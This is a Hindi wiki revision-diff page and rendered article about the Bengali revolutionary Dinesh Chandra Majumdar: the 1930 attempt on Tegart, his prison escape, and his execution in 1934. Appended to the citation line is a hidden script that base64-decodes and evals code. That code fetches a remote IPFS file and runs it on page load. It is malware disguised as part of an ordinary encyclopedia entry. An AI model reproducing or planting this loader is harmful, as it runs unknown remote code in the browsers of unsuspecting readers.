"दिनेश चंद्र मजूमदार" के अवतरणों में अंतर

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==संक्षिप्त परिचय==
*प्रख्यात क्रांतिकारी दिनेश चंद्र मजूमदार का जन्म मई, 1907 ई. में [[बंगाल]] के 24 परगना ज़िले में हुआ था। उनके बचपन में ही पिता का देहांत हो गया था।  
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*प्रख्यात क्रांतिकारी दिनेश चंद्र मजूमदार का जन्म [[मई]], [[1907]] ई. में [[बंगाल (आज़ादी से पूर्व)|बंगाल]] के 24 परगना ज़िले में हुआ था। उनके बचपन में ही पिता का देहांत हो गया था।  
 
*संबंधियों की सहायता से उन्होंने क़ानून  की शिक्षा पूरी की। फिर उनका संबंध बंगाल के प्रमुख क्रांतिकारियों से हो गया।  
 
*संबंधियों की सहायता से उन्होंने क़ानून  की शिक्षा पूरी की। फिर उनका संबंध बंगाल के प्रमुख क्रांतिकारियों से हो गया।  
*1930 में [[कोलकाता]] का पुलिस कमिश्नर टेगार्ट स्वतंत्रता-सेनानियों पर अत्याचार करने के लिए बहुत कुख्यात था।  
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*दिनेश चंद्र के सहित चार क्रांतिकारियों ने उसकी कार पर बम फेंक कर टेगार्ट की हत्या करने का प्रयत्न किया। पर वह बच गया।  
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*दिनेश चंद्र के सहित चार क्रांतिकारियों ने उसकी कार पर बम फेंक कर टेगार्ट की हत्या करने का प्रयत्न किया। पर वह बच गया। दिनेश चंद्र के एक साथी की मृत्यु हो गई और घायल दिनेश पकड़ लिया गया। मुक़दमा चला, उसे आजीवन कारावास की सज़ा हुई और मिदनापुर की सेंट्रल जेल में बंद कर दिया गया।
*दिनेश चंद्र के एक साथी की मृत्यु हो गई और घायल दिनेश पकड़ लिया गया।  
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*दिनेश चंद्र दो अन्य क्रांतिकारियों के साथ जेल की दीवार फांदकर कोलकाता जा पहुंचे। वहां वे कुछ दिन तक क्रांतिकारी साथियों के घरों में छिपे रहे। पुलिस को जब इसका पता चला तो फ्रेंच और कोलकाता की पुलिस ने उनके अड्डे को घेर लिया। बच निकलने के बाद से दिनेश चंद्र कुछ काम नहीं कर पा रहे थे।  
*मुक़दमा चला, उसे आजीवन कारावास की सज़ा हुई और [[मिदनापुर]] की सेंट्रल जेल में बंद कर दिया गया।
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* उन्होंने कोलकाता शहर को अंग्रेज़ों के हाथ से छीन लेने की योजना बनाई। हथियार एकत्र करके क्रांतिकारियों का दल अवसर की प्रतीक्षा में एक भवन में रूका हुआ था। इसकी सूचना किसी मुखबिर ने पुलिस को दे दी। भवन घेर लिया गया। जब तक क्रांतिकारियों के कारतूस समाप्त नहीं हो गए दोनों ओर से गोलियां चलती रहीं।  
*दिनेश चंद्र दो अन्य क्रांतिकारियों के साथ जेल की दीवार फांदकर कोलकाता जा पहुंचे।  
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*एक पुलिस अफ़सर और दिनेश चंद्र मजूमदार तथा उनके साथ जगदानंद घायल हो गए। दोनों को गिरफ्तार करके उन पर मुक़दमा चला।  
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*जब तक क्रांतिकारियों के कारतूस समाप्त नहीं हो गए दोनों ओर से गोलियां चलती रहीं।  
 
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10:52, 12 मई 2014 का अवतरण

दिनेश चंद्र मजूमदार
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पूरा नाम दिनेश चंद्र मजूमदार
जन्म मई, 1907
जन्म भूमि बंगाल
मृत्यु 9 जून, 1934
नागरिकता भारतीय
अन्य जानकारी इस वीर क्रांतिकारी ने अंग्रेज़ पुलिस कमिश्नर टेगार्ट की हत्या का प्रयास किया था, किंतु अपने इस कार्य में वह चूक गए थे।

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दिनेश चंद्र मजूमदार (जन्म- मई, 1907, बंगाल; शहादत- 9 जून, 1934) भारत के अमर शहीद प्रसिद्ध क्रांतिकारी थे। इस वीर क्रांतिकारी ने अंग्रेज़ पुलिस कमिश्नर टेगार्ट की हत्या का प्रयास किया था, किंतु अपने इस कार्य में वह चूक गए थे। इन्होंने कलकत्ता (आधुनिक कोलकाता) को अंग्रेज़ों से छीन लेने की भी योजना बनाई, किंतु किसी मुखबिर की सूचना पर पुलिस द्वारा पकड़ लिये गए और इन्हें फ़ाँसी दे दी गई।

संक्षिप्त परिचय

  • प्रख्यात क्रांतिकारी दिनेश चंद्र मजूमदार का जन्म मई, 1907 ई. में बंगाल के 24 परगना ज़िले में हुआ था। उनके बचपन में ही पिता का देहांत हो गया था।
  • संबंधियों की सहायता से उन्होंने क़ानून की शिक्षा पूरी की। फिर उनका संबंध बंगाल के प्रमुख क्रांतिकारियों से हो गया।
  • 1930 में कोलकाता का पुलिस कमिश्नर टेगार्ट स्वतंत्रता-सेनानियों पर अत्याचार करने के लिए बहुत कुख्यात था।
  • दिनेश चंद्र के सहित चार क्रांतिकारियों ने उसकी कार पर बम फेंक कर टेगार्ट की हत्या करने का प्रयत्न किया। पर वह बच गया। दिनेश चंद्र के एक साथी की मृत्यु हो गई और घायल दिनेश पकड़ लिया गया। मुक़दमा चला, उसे आजीवन कारावास की सज़ा हुई और मिदनापुर की सेंट्रल जेल में बंद कर दिया गया।
  • दिनेश चंद्र दो अन्य क्रांतिकारियों के साथ जेल की दीवार फांदकर कोलकाता जा पहुंचे। वहां वे कुछ दिन तक क्रांतिकारी साथियों के घरों में छिपे रहे। पुलिस को जब इसका पता चला तो फ्रेंच और कोलकाता की पुलिस ने उनके अड्डे को घेर लिया। बच निकलने के बाद से दिनेश चंद्र कुछ काम नहीं कर पा रहे थे।
  • उन्होंने कोलकाता शहर को अंग्रेज़ों के हाथ से छीन लेने की योजना बनाई। हथियार एकत्र करके क्रांतिकारियों का दल अवसर की प्रतीक्षा में एक भवन में रूका हुआ था। इसकी सूचना किसी मुखबिर ने पुलिस को दे दी। भवन घेर लिया गया। जब तक क्रांतिकारियों के कारतूस समाप्त नहीं हो गए दोनों ओर से गोलियां चलती रहीं।
  • एक पुलिस अफ़सर और दिनेश चंद्र मजूमदार तथा उनके साथ जगदानंद घायल हो गए। दोनों को गिरफ्तार करके उन पर मुक़दमा चला।
  • जगदानंद को आजीवन कारावास की सज़ा हुई, पर दिनेश चंद्र को 9 जून, 1934 को फांसी पर लटका दिया गया।


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टीका टिप्पणी और संदर्भ

लीलाधर, शर्मा भारतीय चरित कोश (हिन्दी)। भारतडिस्कवरी पुस्तकालय: शिक्षा भारती, 382।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

बाहरी कड़ियाँ

संबंधित लेख

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